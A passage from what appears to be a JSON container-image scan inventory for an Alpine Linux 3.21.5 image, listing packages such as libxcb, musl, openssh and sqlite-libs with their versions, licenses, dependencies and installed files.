"usr/share/X11/locale/km_KH.UTF-8/Compose", "usr/share/X11/locale/km_KH.UTF-8/XI18N_OBJS", "usr/share/X11/locale/km_KH.UTF-8/XLC_LOCALE", "usr/share/X11/locale/ko/Compose", "usr/share/X11/locale/ko/XI18N_OBJS", "usr/share/X11/locale/ko/XLC_LOCALE", "usr/share/X11/locale/ko_KR.UTF-8/Compose", "usr/share/X11/locale/ko_KR.UTF-8/XI18N_OBJS", "usr/share/X11/locale/ko_KR.UTF-8/XLC_LOCALE", "usr/share/X11/locale/koi8-c/Compose", "usr/share/X11/locale/koi8-c/XI18N_OBJS", "usr/share/X11/locale/koi8-c/XLC_LOCALE", "usr/share/X11/locale/koi8-r/Compose", "usr/share/X11/locale/koi8-r/XI18N_OBJS", "usr/share/X11/locale/koi8-r/XLC_LOCALE", "usr/share/X11/locale/koi8-u/Compose", "usr/share/X11/locale/koi8-u/XI18N_OBJS", "usr/share/X11/locale/koi8-u/XLC_LOCALE", "usr/share/X11/locale/microsoft-cp1251/Compose", "usr/share/X11/locale/microsoft-cp1251/XI18N_OBJS", "usr/share/X11/locale/microsoft-cp1251/XLC_LOCALE", "usr/share/X11/locale/microsoft-cp1255/Compose", "usr/share/X11/locale/microsoft-cp1255/XI18N_OBJS", "usr/share/X11/locale/microsoft-cp1255/XLC_LOCALE", "usr/share/X11/locale/microsoft-cp1256/Compose", "usr/share/X11/locale/microsoft-cp1256/XI18N_OBJS", "usr/share/X11/locale/microsoft-cp1256/XLC_LOCALE", "usr/share/X11/locale/mulelao-1/Compose", "usr/share/X11/locale/mulelao-1/XI18N_OBJS", "usr/share/X11/locale/mulelao-1/XLC_LOCALE", "usr/share/X11/locale/nokhchi-1/Compose", "usr/share/X11/locale/nokhchi-1/XI18N_OBJS", "usr/share/X11/locale/nokhchi-1/XLC_LOCALE", "usr/share/X11/locale/pt_BR.UTF-8/Compose", "usr/share/X11/locale/pt_BR.UTF-8/XI18N_OBJS", "usr/share/X11/locale/pt_BR.UTF-8/XLC_LOCALE", "usr/share/X11/locale/pt_PT.UTF-8/Compose", "usr/share/X11/locale/pt_PT.UTF-8/XI18N_OBJS", "usr/share/X11/locale/pt_PT.UTF-8/XLC_LOCALE", "usr/share/X11/locale/ru_RU.UTF-8/Compose", "usr/share/X11/locale/ru_RU.UTF-8/XI18N_OBJS", "usr/share/X11/locale/ru_RU.UTF-8/XLC_LOCALE", "usr/share/X11/locale/sr_RS.UTF-8/Compose", "usr/share/X11/locale/sr_RS.UTF-8/XI18N_OBJS", "usr/share/X11/locale/sr_RS.UTF-8/XLC_LOCALE", "usr/share/X11/locale/tatar-cyr/Compose", "usr/share/X11/locale/tatar-cyr/XI18N_OBJS", "usr/share/X11/locale/tatar-cyr/XLC_LOCALE", "usr/share/X11/locale/th_TH/Compose", "usr/share/X11/locale/th_TH/XI18N_OBJS", "usr/share/X11/locale/th_TH/XLC_LOCALE", "usr/share/X11/locale/th_TH.UTF-8/Compose", "usr/share/X11/locale/th_TH.UTF-8/XI18N_OBJS", "usr/share/X11/locale/th_TH.UTF-8/XLC_LOCALE", "usr/share/X11/locale/tscii-0/Compose", "usr/share/X11/locale/tscii-0/XI18N_OBJS", "usr/share/X11/locale/tscii-0/XLC_LOCALE", "usr/share/X11/locale/vi_VN.tcvn/Compose", "usr/share/X11/locale/vi_VN.tcvn/XI18N_OBJS", "usr/share/X11/locale/vi_VN.tcvn/XLC_LOCALE", "usr/share/X11/locale/vi_VN.viscii/Compose", "usr/share/X11/locale/vi_VN.viscii/XI18N_OBJS", "usr/share/X11/locale/vi_VN.viscii/XLC_LOCALE", "usr/share/X11/locale/zh_CN/Compose", "usr/share/X11/locale/zh_CN/XI18N_OBJS", "usr/share/X11/locale/zh_CN/XLC_LOCALE", "usr/share/X11/locale/zh_CN.UTF-8/Compose", "usr/share/X11/locale/zh_CN.UTF-8/XI18N_OBJS", "usr/share/X11/locale/zh_CN.UTF-8/XLC_LOCALE", "usr/share/X11/locale/zh_CN.gb18030/Compose", "usr/share/X11/locale/zh_CN.gb18030/XI18N_OBJS", "usr/share/X11/locale/zh_CN.gb18030/XLC_LOCALE", "usr/share/X11/locale/zh_CN.gbk/Compose", "usr/share/X11/locale/zh_CN.gbk/XI18N_OBJS", "usr/share/X11/locale/zh_CN.gbk/XLC_LOCALE", "usr/share/X11/locale/zh_HK.UTF-8/Compose", "usr/share/X11/locale/zh_HK.UTF-8/XI18N_OBJS", "usr/share/X11/locale/zh_HK.UTF-8/XLC_LOCALE", "usr/share/X11/locale/zh_HK.big5/Compose", "usr/share/X11/locale/zh_HK.big5/XI18N_OBJS", "usr/share/X11/locale/zh_HK.big5/XLC_LOCALE", "usr/share/X11/locale/zh_HK.big5hkscs/Compose", "usr/share/X11/locale/zh_HK.big5hkscs/XI18N_OBJS", "usr/share/X11/locale/zh_HK.big5hkscs/XLC_LOCALE", "usr/share/X11/locale/zh_TW/Compose", "usr/share/X11/locale/zh_TW/XI18N_OBJS", "usr/share/X11/locale/zh_TW/XLC_LOCALE", "usr/share/X11/locale/zh_TW.UTF-8/Compose", "usr/share/X11/locale/zh_TW.UTF-8/XI18N_OBJS", "usr/share/X11/locale/zh_TW.UTF-8/XLC_LOCALE", "usr/share/X11/locale/zh_TW.big5/Compose", "usr/share/X11/locale/zh_TW.big5/XI18N_OBJS", "usr/share/X11/locale/zh_TW.big5/XLC_LOCALE" ], "AnalyzedBy": "apk" }, { "ID": "libxau@1.0.11-r4", "Name": "libxau", "Identifier": { "PURL": "pkg:apk/alpine/libxau@1.0.11-r4?arch=x86_64\u0026distro=3.21.5", "UID": "597a7de1c31314b4" }, "Version": "1.0.11-r4", "Arch": "x86_64", "SrcName": "libxau", "SrcVersion": "1.0.11-r4", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:95fa5337146d014448d17397d3128901bfb17e1a", "InstalledFiles": [ "usr/lib/libXau.so.6", "usr/lib/libXau.so.6.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libxcb@1.16.1-r0", "Name": "libxcb", "Identifier": { "PURL": "pkg:apk/alpine/libxcb@1.16.1-r0?arch=x86_64\u0026distro=3.21.5", "UID": "17215b57cd2ec160" }, "Version": "1.16.1-r0", "Arch": "x86_64", "SrcName": "libxcb", "SrcVersion": "1.16.1-r0", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libxau@1.0.11-r4", "libxdmcp@1.1.5-r1", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:e1ae505f183f01455b0d57d4df2c712383d3413c", "InstalledFiles": [ "usr/lib/libxcb-composite.so.0", "usr/lib/libxcb-composite.so.0.0.0", "usr/lib/libxcb-damage.so.0", "usr/lib/libxcb-damage.so.0.0.0", "usr/lib/libxcb-dbe.so.0", "usr/lib/libxcb-dbe.so.0.0.0", "usr/lib/libxcb-dpms.so.0", "usr/lib/libxcb-dpms.so.0.0.0", "usr/lib/libxcb-dri2.so.0", "usr/lib/libxcb-dri2.so.0.0.0", "usr/lib/libxcb-dri3.so.0", "usr/lib/libxcb-dri3.so.0.1.0", "usr/lib/libxcb-glx.so.0", "usr/lib/libxcb-glx.so.0.0.0", "usr/lib/libxcb-present.so.0", "usr/lib/libxcb-present.so.0.0.0", "usr/lib/libxcb-randr.so.0", "usr/lib/libxcb-randr.so.0.1.0", "usr/lib/libxcb-record.so.0", "usr/lib/libxcb-record.so.0.0.0", "usr/lib/libxcb-render.so.0", "usr/lib/libxcb-render.so.0.0.0", "usr/lib/libxcb-res.so.0", "usr/lib/libxcb-res.so.0.0.0", "usr/lib/libxcb-screensaver.so.0", "usr/lib/libxcb-screensaver.so.0.0.0", "usr/lib/libxcb-shape.so.0", "usr/lib/libxcb-shape.so.0.0.0", "usr/lib/libxcb-shm.so.0", "usr/lib/libxcb-shm.so.0.0.0", "usr/lib/libxcb-sync.so.1", "usr/lib/libxcb-sync.so.1.0.0", "usr/lib/libxcb-xf86dri.so.0", "usr/lib/libxcb-xf86dri.so.0.0.0", "usr/lib/libxcb-xfixes.so.0", "usr/lib/libxcb-xfixes.so.0.0.0", "usr/lib/libxcb-xinerama.so.0", "usr/lib/libxcb-xinerama.so.0.0.0", "usr/lib/libxcb-xinput.so.0", "usr/lib/libxcb-xinput.so.0.1.0", "usr/lib/libxcb-xkb.so.1", "usr/lib/libxcb-xkb.so.1.0.0", "usr/lib/libxcb-xtest.so.0", "usr/lib/libxcb-xtest.so.0.0.0", "usr/lib/libxcb-xv.so.0", "usr/lib/libxcb-xv.so.0.0.0", "usr/lib/libxcb-xvmc.so.0", "usr/lib/libxcb-xvmc.so.0.0.0", "usr/lib/libxcb.so.1", "usr/lib/libxcb.so.1.1.0" ], "AnalyzedBy": "apk" }, { "ID": "libxdmcp@1.1.5-r1", "Name": "libxdmcp", "Identifier": { "PURL": "pkg:apk/alpine/libxdmcp@1.1.5-r1?arch=x86_64\u0026distro=3.21.5", "UID": "3d71b449181c17d" }, "Version": "1.1.5-r1", "Arch": "x86_64", "SrcName": "libxdmcp", "SrcVersion": "1.1.5-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libbsd@0.12.2-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:8d5017c603d5bda7d26ff11707eab43e5aa66e84", "InstalledFiles": [ "usr/lib/libXdmcp.so.6", "usr/lib/libXdmcp.so.6.0.0" ], "AnalyzedBy": "apk" }, { "ID": "libxext@1.3.6-r2", "Name": "libxext", "Identifier": { "PURL": "pkg:apk/alpine/libxext@1.3.6-r2?arch=x86_64\u0026distro=3.21.5", "UID": "afad3306f46028ba" }, "Version": "1.3.6-r2", "Arch": "x86_64", "SrcName": "libxext", "SrcVersion": "1.3.6-r2", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libx11@1.8.10-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:932e0e5947b6ab5688f9771fcff84af820189835", "InstalledFiles": [ "usr/lib/libXext.so.6", "usr/lib/libXext.so.6.4.0" ], "AnalyzedBy": "apk" }, { "ID": "libxrender@0.9.11-r5", "Name": "libxrender", "Identifier": { "PURL": "pkg:apk/alpine/libxrender@0.9.11-r5?arch=x86_64\u0026distro=3.21.5", "UID": "2435cbbee24b4b05" }, "Version": "0.9.11-r5", "Arch": "x86_64", "SrcName": "libxrender", "SrcVersion": "0.9.11-r5", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libx11@1.8.10-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:378a72f6b81ab89b09ad5cead21645b1c5024528", "InstalledFiles": [ "usr/lib/libXrender.so.1", "usr/lib/libXrender.so.1.3.0" ], "AnalyzedBy": "apk" }, { "ID": "musl@1.2.5-r9", "Name": "musl", "Identifier": { "PURL": "pkg:apk/alpine/musl@1.2.5-r9?arch=x86_64\u0026distro=3.21.5", "UID": "d0316c4ab0862e6b" }, "Version": "1.2.5-r9", "Arch": "x86_64", "SrcName": "musl", "SrcVersion": "1.2.5-r9", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:fcbef23891ec04f81a28b98dbbb521e58218d2d8", "InstalledFiles": [ "lib/ld-musl-x86_64.so.1", "lib/libc.musl-x86_64.so.1" ], "AnalyzedBy": "apk" }, { "ID": "musl-utils@1.2.5-r9", "Name": "musl-utils", "Identifier": { "PURL": "pkg:apk/alpine/musl-utils@1.2.5-r9?arch=x86_64\u0026distro=3.21.5", "UID": "8991799c5350cf95" }, "Version": "1.2.5-r9", "Arch": "x86_64", "SrcName": "musl", "SrcVersion": "1.2.5-r9", "Licenses": [ "MIT", "BSD-2-Clause", "GPL-2.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9", "scanelf@1.3.8-r1" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:dd00323d3c0b14f2607f7a14ef503ebb4f737d22", "InstalledFiles": [ "sbin/ldconfig", "usr/bin/getconf", "usr/bin/getent", "usr/bin/iconv", "usr/bin/ldd" ], "AnalyzedBy": "apk" }, { "ID": "ncurses-terminfo-base@6.5_p20241006-r3", "Name": "ncurses-terminfo-base", "Identifier": { "PURL": "pkg:apk/alpine/ncurses-terminfo-base@6.5_p20241006-r3?arch=x86_64\u0026distro=3.21.5", "UID": "ba7a41d37c387447" }, "Version": "6.5_p20241006-r3", "Arch": "x86_64", "SrcName": "ncurses", "SrcVersion": "6.5_p20241006-r3", "Licenses": [ "X-11" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:a2bc82a235e7172605f069a36c371f955bc9d8fc", "InstalledFiles": [ "etc/terminfo/a/alacritty", "etc/terminfo/a/ansi", "etc/terminfo/d/dumb", "etc/terminfo/g/gnome", "etc/terminfo/g/gnome-256color", "etc/terminfo/k/konsole", "etc/terminfo/k/konsole-256color", "etc/terminfo/k/konsole-linux", "etc/terminfo/l/linux", "etc/terminfo/p/putty", "etc/terminfo/p/putty-256color", "etc/terminfo/r/rxvt", "etc/terminfo/r/rxvt-256color", "etc/terminfo/s/screen", "etc/terminfo/s/screen-256color", "etc/terminfo/s/st-0.6", "etc/terminfo/s/st-0.7", "etc/terminfo/s/st-0.8", "etc/terminfo/s/st-16color", "etc/terminfo/s/st-256color", "etc/terminfo/s/st-direct", "etc/terminfo/s/sun", "etc/terminfo/t/terminator", "etc/terminfo/t/terminology", "etc/terminfo/t/terminology-0.6.1", "etc/terminfo/t/terminology-1.0.0", "etc/terminfo/t/terminology-1.8.1", "etc/terminfo/t/tmux", "etc/terminfo/t/tmux-256color", "etc/terminfo/v/vt100", "etc/terminfo/v/vt102", "etc/terminfo/v/vt200", "etc/terminfo/v/vt220", "etc/terminfo/v/vt52", "etc/terminfo/v/vte", "etc/terminfo/v/vte-256color", "etc/terminfo/x/xterm", "etc/terminfo/x/xterm-256color", "etc/terminfo/x/xterm-color", "etc/terminfo/x/xterm-xfree86" ], "AnalyzedBy": "apk" }, { "ID": "nghttp2-libs@1.64.0-r0", "Name": "nghttp2-libs", "Identifier": { "PURL": "pkg:apk/alpine/nghttp2-libs@1.64.0-r0?arch=x86_64\u0026distro=3.21.5", "UID": "e522ca22ea4867ac" }, "Version": "1.64.0-r0", "Arch": "x86_64", "SrcName": "nghttp2", "SrcVersion": "1.64.0-r0", "Licenses": [ "MIT" ], "Maintainer": "Francesco Colista \u003cfcolista@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:239d49335b0c521c41d0823a619bf84c3f20722e", "InstalledFiles": [ "usr/lib/libnghttp2.so.14", "usr/lib/libnghttp2.so.14.28.3" ], "AnalyzedBy": "apk" }, { "ID": "openssh@9.9_p2-r0", "Name": "openssh", "Identifier": { "PURL": "pkg:apk/alpine/openssh@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f621e4b1f333b731" }, "Version": "9.9_p2-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "9.9_p2-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.3.5-r0", "musl@1.2.5-r9", "openssh-client-default@9.9_p2-r0", "openssh-server@9.9_p2-r0", "openssh-sftp-server@9.9_p2-r0" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:c0bb175891c9e89151482ba05397ebb779f8a330", "InstalledFiles": [ "usr/lib/ssh/ssh-pkcs11-helper" ], "AnalyzedBy": "apk" }, { "ID": "openssh-client-common@9.9_p2-r0", "Name": "openssh-client-common", "Identifier": { "PURL": "pkg:apk/alpine/openssh-client-common@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a633dab62a0c31c2" }, "Version": "9.9_p2-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "9.9_p2-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.3.5-r0", "libedit@20240808.3.1-r0", "musl@1.2.5-r9", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:5534855bf9bc5120e1c6477ba350e56b1fcaa865", "InstalledFiles": [ "etc/ssh/moduli", "etc/ssh/ssh_config", "usr/bin/findssl.sh", "usr/bin/scp", "usr/bin/sftp", "usr/bin/ssh-add", "usr/bin/ssh-agent", "usr/bin/ssh-copy-id", "usr/bin/ssh-keyscan", "usr/bin/ssh-pkcs11-helper" ], "AnalyzedBy": "apk" }, { "ID": "openssh-client-default@9.9_p2-r0", "Name": "openssh-client-default", "Identifier": { "PURL": "pkg:apk/alpine/openssh-client-default@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "1f6229d70abd608c" }, "Version": "9.9_p2-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "9.9_p2-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.3.5-r0", "musl@1.2.5-r9", "openssh-client-common@9.9_p2-r0", "openssh-keygen@9.9_p2-r0", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:ba73d9b3f92f480c5de4291ca66c12d0b5706838", "InstalledFiles": [ "usr/bin/ssh" ], "AnalyzedBy": "apk" }, { "ID": "openssh-keygen@9.9_p2-r0", "Name": "openssh-keygen", "Identifier": { "PURL": "pkg:apk/alpine/openssh-keygen@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "1f4776e5dcc1008c" }, "Version": "9.9_p2-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "9.9_p2-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libcrypto3@3.3.5-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:3d50f8462d004b1ad0efd31405099ab9e8cc3d62", "InstalledFiles": [ "usr/bin/ssh-keygen" ], "AnalyzedBy": "apk" }, { "ID": "openssh-server@9.9_p2-r0", "Name": "openssh-server", "Identifier": { "PURL": "pkg:apk/alpine/openssh-server@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "909fbf120819d1fb" }, "Version": "9.9_p2-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "9.9_p2-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "busybox-binsh@1.37.0-r14", "libcrypto3@3.3.5-r0", "musl@1.2.5-r9", "openssh-keygen@9.9_p2-r0", "openssh-server-common@9.9_p2-r0", "zlib@1.3.1-r2" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:c2644bcb09438700f6f254ba425a7a9c6973cc89", "InstalledFiles": [ "usr/lib/ssh/sshd-session", "usr/sbin/sshd" ], "AnalyzedBy": "apk" }, { "ID": "openssh-server-common@9.9_p2-r0", "Name": "openssh-server-common", "Identifier": { "PURL": "pkg:apk/alpine/openssh-server-common@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "9d311620f4e995b1" }, "Version": "9.9_p2-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "9.9_p2-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:164b60b331e11eaef09153cf90e44ed44262d270", "InstalledFiles": [ "etc/ssh/sshd_config" ], "AnalyzedBy": "apk" }, { "ID": "openssh-sftp-server@9.9_p2-r0", "Name": "openssh-sftp-server", "Identifier": { "PURL": "pkg:apk/alpine/openssh-sftp-server@9.9_p2-r0?arch=x86_64\u0026distro=3.21.5", "UID": "a20884e887fc3a6a" }, "Version": "9.9_p2-r0", "Arch": "x86_64", "SrcName": "openssh", "SrcVersion": "9.9_p2-r0", "Licenses": [ "SSH-OpenSSH" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:0f9f14bbc99c4c3be20da3c1d44cc882b120f84b", "InstalledFiles": [ "usr/lib/ssh/sftp-server" ], "AnalyzedBy": "apk" }, { "ID": "pcre2@10.43-r0", "Name": "pcre2", "Identifier": { "PURL": "pkg:apk/alpine/pcre2@10.43-r0?arch=x86_64\u0026distro=3.21.5", "UID": "f6f0683f9f0923fb" }, "Version": "10.43-r0", "Arch": "x86_64", "SrcName": "pcre2", "SrcVersion": "10.43-r0", "Licenses": [ "BSD-3-Clause" ], "Maintainer": "Jakub Jirutka \u003cjakub@jirutka.cz\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:ac7e2633be267904f90d2a850ea43d393583b160", "InstalledFiles": [ "usr/lib/libpcre2-8.so.0", "usr/lib/libpcre2-8.so.0.12.0", "usr/lib/libpcre2-posix.so.3", "usr/lib/libpcre2-posix.so.3.0.5" ], "AnalyzedBy": "apk" }, { "ID": "pixman@0.43.4-r1", "Name": "pixman", "Identifier": { "PURL": "pkg:apk/alpine/pixman@0.43.4-r1?arch=x86_64\u0026distro=3.21.5", "UID": "afd85afb33d19d05" }, "Version": "0.43.4-r1", "Arch": "x86_64", "SrcName": "pixman", "SrcVersion": "0.43.4-r1", "Licenses": [ "MIT" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:f7077ab30e568f9060ba8c1aa67144b1cc4bf894", "InstalledFiles": [ "usr/lib/libpixman-1.so.0", "usr/lib/libpixman-1.so.0.43.4" ], "AnalyzedBy": "apk" }, { "ID": "pkgconf@2.3.0-r0", "Name": "pkgconf", "Identifier": { "PURL": "pkg:apk/alpine/pkgconf@2.3.0-r0?arch=x86_64\u0026distro=3.21.5", "UID": "19da1fe287590496" }, "Version": "2.3.0-r0", "Arch": "x86_64", "SrcName": "pkgconf", "SrcVersion": "2.3.0-r0", "Licenses": [ "ISC" ], "Maintainer": "Ariadne Conill \u003cariadne@dereferenced.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:cff43199ed321df09c204bbeaa66b86e125f7336", "InstalledFiles": [ "usr/bin/bomtool", "usr/bin/pkg-config", "usr/bin/pkgconf", "usr/lib/libpkgconf.so.5", "usr/lib/libpkgconf.so.5.0.0", "usr/share/aclocal/pkg.m4" ], "AnalyzedBy": "apk" }, { "ID": "pngquant@3.0.3-r0", "Name": "pngquant", "Identifier": { "PURL": "pkg:apk/alpine/pngquant@3.0.3-r0?arch=x86_64\u0026distro=3.21.5", "UID": "dc5461155e1fd965" }, "Version": "3.0.3-r0", "Arch": "x86_64", "SrcName": "pngquant", "SrcVersion": "3.0.3-r0", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "André Klitzing \u003caklitzing@gmail.com\u003e", "DependsOn": [ "lcms2@2.16-r0", "libgcc@14.2.0-r4", "libpng@1.6.53-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:2dacc33af02da0fbc3911d6b6bd776b2c7451d97", "InstalledFiles": [ "usr/bin/pngquant" ], "AnalyzedBy": "apk" }, { "ID": "readline@8.2.13-r0", "Name": "readline", "Identifier": { "PURL": "pkg:apk/alpine/readline@8.2.13-r0?arch=x86_64\u0026distro=3.21.5", "UID": "8e448129748c2000" }, "Version": "8.2.13-r0", "Arch": "x86_64", "SrcName": "readline", "SrcVersion": "8.2.13-r0", "Licenses": [ "GPL-3.0-or-later" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "libncursesw@6.5_p20241006-r3", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:b99e42766d2d37aa8b69820daa080ab50c28a150", "InstalledFiles": [ "etc/inputrc", "usr/lib/libreadline.so.8", "usr/lib/libreadline.so.8.2" ], "AnalyzedBy": "apk" }, { "ID": "scanelf@1.3.8-r1", "Name": "scanelf", "Identifier": { "PURL": "pkg:apk/alpine/scanelf@1.3.8-r1?arch=x86_64\u0026distro=3.21.5", "UID": "99c1bc01da347386" }, "Version": "1.3.8-r1", "Arch": "x86_64", "SrcName": "pax-utils", "SrcVersion": "1.3.8-r1", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Natanael Copa \u003cncopa@alpinelinux.org\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:77729f7622baeaafb6feaf7486f4f5452c1c7b62", "InstalledFiles": [ "usr/bin/scanelf" ], "AnalyzedBy": "apk" }, { "ID": "sqlite-libs@3.48.0-r4", "Name": "sqlite-libs", "Identifier": { "PURL": "pkg:apk/alpine/sqlite-libs@3.48.0-r4?arch=x86_64\u0026distro=3.21.5", "UID": "4ecf52bb751970f8" }, "Version": "3.48.0-r4", "Arch": "x86_64", "SrcName": "sqlite", "SrcVersion": "3.48.0-r4", "Licenses": [ "blessing" ], "Maintainer": "Celeste \u003ccielesti@protonmail.com\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:21356bb7c412444a10317870f10d60ad6eb9dcba", "InstalledFiles": [ "usr/lib/libsqlite3.so.0", "usr/lib/libsqlite3.so.0.8.6" ], "AnalyzedBy": "apk" }, { "ID": "ssl_client@1.37.0-r14", "Name": "ssl_client", "Identifier": { "PURL": "pkg:apk/alpine/ssl_client@1.37.0-r14?arch=x86_64\u0026distro=3.21.5", "UID": "9e7794baae825337" }, "Version": "1.37.0-r14", "Arch": "x86_64", "SrcName": "busybox", "SrcVersion": "1.37.0-r14", "Licenses": [ "GPL-2.0-only" ], "Maintainer": "Sören Tempel \u003csoeren+alpine@soeren-tempel.net\u003e", "DependsOn": [ "libcrypto3@3.3.5-r0", "libssl3@3.3.5-r0", "musl@1.2.5-r9" ], "Layer": { "DiffID": "sha256:0ecbf2edb80501cce507b3c02ac94c7be700cdd3eb72b5982c296b69a33f73f4" }, "Digest": "sha1:07f8874a42ad31bf4083351c8c236b18815e9614", "InstalledFiles": [ "usr/bin/ssl_client" ], "AnalyzedBy": "apk" }, { "ID": "tini@0.19.0-r3", "Name": "tini", "Identifier": { "PURL": "pkg:apk/alpine/tini@0.19.0-r3?arch=x86_64\u0026distro=3.21.5", "UID": "d69205a83e71e2a4" }, "Version": "0.19.0-r3", "Arch": "x86_64", "SrcName": "tini", "SrcVersion": "0.19.0-r3", "Licenses": [ "MIT" ], "Maintainer": "Danilo Bürger \u003cdanilo@feastr.de\u003e", "DependsOn": [ "musl@1.2.5-r9" ], "Layer": { "DiffID": 